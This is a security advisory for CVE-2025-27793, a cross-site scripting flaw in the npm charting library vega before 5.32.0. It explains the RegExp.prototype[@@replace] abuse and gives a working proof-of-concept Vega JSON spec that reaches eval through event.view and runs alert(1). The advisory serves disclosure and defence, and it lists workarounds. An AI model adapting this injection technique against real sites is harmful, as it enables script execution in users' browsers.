CVE-2025-27793 – vega

Package

Manager: npm
Name: vega
Vulnerable Version: >=0 <5.32.0

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N/E:U/RL:O/RC:C

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EPSS: 0.0006 pctl0.1912

Details

Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace] ## Impact Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the `vega-interpreter`. ## Workarounds - Use `vega` with [expression interpreter](https://vega.github.io/vega/usage/interpreter/) - Upgrade to a [newer Vega version](https://github.com/vega/vega/releases/tag/v5.32.0) (`5.32.0`) ### POC Summary Calling `replace` with a `RegExp`-like pattern calls `RegExp.prototype[@@replace]`, which can then call an attacker-controlled `exec` function. ### POC Details Consider the function call `replace('foo', {__proto__: /h/.constructor.prototype, global: false})`. Since `pattern` has `RegExp.prototype[@@replace]`, `pattern.exec('foo')` winds up being called. The resulting malicious call looks like this: ``` replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false}) ``` Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse `event.view` to gain access to `eval`. ### Reproduction steps ``` {"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]} ```

Metadata

Created: 2025-03-27T18:00:24Z
Modified: 2025-03-27T18:00:24Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-963h-3v39-3pqf/GHSA-963h-3v39-3pqf.json
CWE IDs: ["CWE-79", "CWE-87"]
Alternative ID: GHSA-963h-3v39-3pqf
Finding: F008
Auto approve: 1